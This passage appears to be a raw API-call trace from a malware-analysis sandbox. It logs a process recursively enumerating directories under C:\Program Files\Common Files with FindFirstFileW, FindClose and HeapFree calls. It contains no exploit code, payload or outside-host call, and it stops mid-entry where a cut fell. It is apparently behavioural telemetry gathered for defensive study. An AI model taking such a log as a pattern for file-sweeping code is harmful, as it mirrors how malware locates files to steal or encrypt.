FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\*", lpFindFileData=0x385ed10 | out: lpFindFileData=0x385ed10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7084efd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7084efd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x806e18 [0273.157] FindClose (in: hFindFile=0x806e18 | out: hFindFile=0x806e18) returned 1 [0273.157] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x42a0090 | out: hHeap=0x1c0000) returned 1 [0273.157] FindClose (in: hFindFile=0x806cd8 | out: hFindFile=0x806cd8) returned 1 [0273.157] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x35ac910 | out: hHeap=0x1c0000) returned 1 [0273.157] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\*", lpFindFileData=0x385ef94 | out: lpFindFileData=0x385ef94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54a7f50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x69dc9750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69dc9750, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x806c98 [0273.280] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ARFR\\*", lpFindFileData=0x385ed10 | out: lpFindFileData=0x385ed10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7562dd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7562dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7562dd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x806e18 [0273.297] FindClose (in: hFindFile=0x806e18 | out: hFindFile=0x806e18) returned 1 [0273.299] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x4210048 | out: hHeap=0x1c0000) returned 1 [0273.299] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENES\\*", lpFindFileData=0x385ed10 | out: lpFindFileData=0x385ed10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54ce0b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x54ce0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x54ce0b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x806e18 [0273.323] FindClose (in: hFindFile=0x806e18 | out: hFindFile=0x806e18) returned 1 [0273.323] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x4210048 | out: hHeap=0x1c0000) returned 1 [0273.323] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENFR\\*", lpFindFileData=0x385ed10 | out: lpFindFileData=0x385ed10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7562dd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7562dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7562dd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x806e18 [0273.323] FindClose (in: hFindFile=0x806e18 | out: hFindFile=0x806e18) returned 1 [0273.323] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x4210048 | out: hHeap=0x1c0000) returned 1 [0273.324] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN\\*", lpFindFileData=0x385ed10 | out: lpFindFileData=0x385ed10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54a7f50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5b7fe90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5b7fe90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x806e18 [0273.324] FindClose (in: hFindFile=0x806e18 | out: hFindFile=0x806e18) returned 1 [0273.324] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x4210048 | out: hHeap=0x1c0000) returned 1 [0273.324] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FRAR\\*", lpFindFileData=0x385ed10 | out: lpFindFileData=0x385ed10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7562dd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7562dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7562dd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x806e18 [0273.324] FindClose (in: hFindFile=0x806e18 | out: hFindFile=0x806e18) returned 1 [0273.324] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x4210048 | out: hHeap=0x1c0000) returned 1 [0273.324] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FREN\\*", lpFindFileData=0x385ed10 | out: lpFindFileData=0x385ed10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7516b10, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7941190, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7941190, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x806e18 [0273.324] FindClose (in: hFindFile=0x806e18 | out: hFindFile=0x806e18) returned 1 [0273.324] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x4210048 | out: hHeap=0x1c0000) returned 1 [0273.324] FindClose (in: hFindFile=0x806c98 | out: hFindFile=0x806c98) returned 1 [0273.324] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x42a0090 | out: hHeap=0x1c0000) returned 1 [0273.325] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Triedit\\*", lpFindFileData=0x385ef94 | out: lpFindFileData=0x385ef94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1eab37af, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x806c98 [0273.325] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Triedit\\en-US\\*", lpFindFileData=0x385ed10 | out: lpFindFileData=0x385ed10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x806e18 [0273.325] FindClose (in: hFindFile=0x806e18 | out: hFindFile=0x806e18) returned 1 [0273.325] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x358c900 | out: hHeap=0x1c0000) returned 1 [0273.325] FindClose (in: hFindFile=0x806c98 | out: hFindFile=0x806c98) returned 1 [0273.325] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x4210048 | out: hHeap=0x1c0000) returned 1 [0273.326] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\*", lpFindFileData=0x385ef94 | out: lpFindFileData=0x385ef94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeedaa970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x806c98 [0273.326] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\*", lpFindFileData=0x385ed10 | out: lpFindFileData=0x385ed10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe22f4b00, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xe22f4b00, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x806e18 [0273.327] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\*", lpFindFileData=0x385ea8c | out: lpFindFileData=0x385ea8c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xc25685a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xc25685a0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x806cd8 [0273.327] FindClose (in: hFindFile=0x806cd8 | out: hFindFile=0x806cd8) returned 1 [0273.327] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x35ac910 | out: hHeap=0x1c0000) returned 1 [0273.327] FindClose (in: hFindFile=0x806e18 | out: hFindFile=0x806e18) returned 1 [0273.327] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x358c900 | out: hHeap=0x1c0000) returned 1 [0273.327] FindClose (in: hFindFile=0x806c98 | out: hFindFile=0x806c98) returned 1 [0273.327] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x4210048 | out: hHeap=0x1c0000) returned 1 [0273.327] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VC\\*", lpFindFileData=0x385ef94 | out: lpFindFileData=0x385ef94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbd2c6940, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xd250e300, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xd250e300, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x806c98 [0273.328] FindClose (in: hFindFile=0x806c98 | out: hFindFile=0x806c98) returned 1 [0273.328] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x4210048 | out: hHeap=0x1c0000) returned 1 [0273.328] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VGX\\*", lpFindFileData=0x385ef94 | out: lpFindFileData=0x385ef94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x803feff7, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x803feff7, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x806c98 [0273.328] FindClose (in: hFindFile=0x806c98 | out: hFindFile=0x806c98) returned 1 [0273.328] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x4210048 | out: hHeap=0x1c0000) returned 1 [0273.328] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\*", lpFindFileData=0x385ef94 | out: lpFindFileData=0x385ef94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81afcd40, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x81afcd40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x81afcd40, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x806c98 [0273.328] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\*", lpFindFileData=0x385ed10 | out: lpFindFileData=0x385ed10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81afcd40, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x8541dd40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x8541dd40, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x806e18 [0273.329] FindClose (in: hFindFile=0x806e18 | out: hFindFile=0x806e18) returned 1 [0273.330] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x358c900 | out: hHeap=0x1c0000) returned 1 [0273.330] FindClose (in: hFindFile=0x806c98 | out: hFindFile=0x806c98) returned 1 [0273.330] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x4210048 | out: hHeap=0x1c0000) returned 1 [0273.330] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\*", lpFindFileData=0x385ef94 | out: lpFindFileData=0x385ef94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3a42070, ftCreationTime.dwHighDateTime=0x1d2dda2, ftLastAccessTime.dwLowDateTime=0xd6cdb800, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd6cdb800, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x806c98 [0273.330] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\*", lpFindFileData=0x385ed10 | out: lpFindFileData=0x385ed10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3a42070, ftCreationTime.dwHighDateTime=0x1d2dda2, ftLastAccessTime.dwLowDateTime=0xd6d4dc20, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd6d4dc20, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x806e18 [0273.330] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\1033\\*", lpFindFileData=0x385ea8c | out: lpFindFileData=0x385ea8c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x617be070, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xd504b000, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd504b000, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x806cd8 [0273.330] FindClose (in: hFindFile=0x806cd8 | out: hFindFile=0x806cd8) returned 1 [0273.330] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x35ac910 | out: hHeap=0x1c0000) returned 1 [0273.331] FindClose (in: hFindFile=0x806e18 | out: hFindFile=0x806e18) returned 1 [0273.331] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x358c900 | out: hHeap=0x1c0000) returned 1 [0273.332] FindClose (in: hFindFile=0x806c98 | out: hFindFile=0x806c98) returned 1 [0273.332] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x4210048 | out: hHeap=0x1c0000) returned 1 [0273.332] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Web Folders\\*", lpFindFileData=0x385ef94 | out: lpFindFileData=0x385ef94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeeb5310, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x6a02ad50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6a02ad50, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x806c98 [0273.332] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Web Folders\\1033\\*", lpFindFileData=0x385ed10 | out: lpFindFileData=0x385ed10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeeb5310, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeeeb5310, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeeeb5310, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x806e18 [0273.332] FindClose (in: hFindFile=0x806e18 | out: hFindFile=0x806e18) returned 1 [0273.332] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x358c900 | out: hHeap=0x1c0000) returned 1 [0273.332] FindClose (in: hFindFile=0x806c98 | out: hFindFile=0x806c98) returned 1 [0273.332] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x4210048 | out: hHeap=0x1c0000) returned 1 [0273.332] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\*", lpFindFileData=0x385ef94 | out: lpFindFileData=0x385ef94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeedaa970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x806c98 [0273.332] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\*", lpFindFileData=0x385ed10 | out: lpFindFileData=0x385ed10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeedaa970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x806e18 [0273.333] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\*", lpFindFileData=0x385ea8c | out: lpFindFileData=0x385ea8c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xdb7d6d00, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xdb7d6d00, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x806cd8 [0273.333] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\1033\\*", lpFindFileData=0x385e808 | out: lpFindFileData=0x385e808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeedaa970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x806d18 [0273.333] FindClose (in: hFindFile=0x806d18 | out: hFindFile=0x806d18) returned 1 [0273.333] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x35bc918 | out: hHeap=0x1c0000) returned 1 [0273.333] FindClose (in: hFindFile=0x806cd8 | out: hFindFile=0x806cd8) returned 1 [0273.333] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x35ac910 | out: hHeap=0x1c0000) returned 1 [0273.333] FindClose (in: hFindFile=0x806e18 | out: hFindFile=0x806e18) returned 1 [0273.333] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x358c900 | out: hHeap=0x1c0000) returned 1 [0273.334] FindClose (in: hFindFile=0x806c98 | out: hFindFile=0x806c98) returned 1 [0273.334] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x4210048 | out: hHeap=0x1c0000) returned 1 [0273.334] FindClose (in: hFindFile=0x806c58 | out: hFindFile=0x806c58) returned 1 [0273.334] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x359c908 | out: hHeap=0x1c0000) returned 1 [0273.334] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Services\\*", lpFindFileData=0x385f218 | out: lpFindFileData=0x385f218*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd85ef28, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x806c58 [0273.334] FindClose (in: hFindFile=0x806c58 | out: hFindFile=0x806c58) returned 1 [0273.334] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x4210048 | out: hHeap=0x1c0000) returned 1 [0273.335] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\SpeechEngines\\*", lpFindFileData=0x385f218 | out: lpFindFileData=0x385f218*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd85ef28, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x806c58 [0273.336] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\*", lpFindFileData=0x385ef94 | out: lpFindFileData=0x385ef94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd85ef28, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x806c98 [0273.336] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\*", lpFindFileData=0x385ed10 | out: lpFindFileData=0x385ed10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd85ef28, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x806e18 [0273.336] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\*", lpFindFileData=0x385ea8c | out: lpFindFileData=0x385ea8c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1eab37af, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x806cd8 [0273.337] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\enu-dsk\\*", lpFindFileData=0x385e808 | out: lpFindFileData=0x385e808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xd64fa49b, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x806d18 [0273.337] FindClose (in: hFindFile=0x806d18 | out: hFindFile=0x806d18) returned 1 [0273.337] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x358c900 | out: hHeap=0x1c0000) returned 1 [0273.337] FindClose (in: hFindFile=0x806cd8 | out: hFindFile=0x806cd8) returned 1 [0273.337] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x42c00a0 | out: hHeap=0x1c0000) returned 1 [0273.338] FindClose (in: hFindFile=0x806e18 | out: hFindFile=0x806e18) returned 1 [0273.338] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x42b0098 | out: hHeap=0x1c0000) returned 1 [0273.339] FindClose (in: hFindFile=0x806c98 | out: hFindFile=0x806c98) returned 1 [0273.339] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x42a0090 | out: hHeap=0x1c0000) returned 1 [0273.339] FindClose (in: hFindFile=0x806c58 | out: hFindFile=0x806c58) returned 1 [0273.339] HeapFree 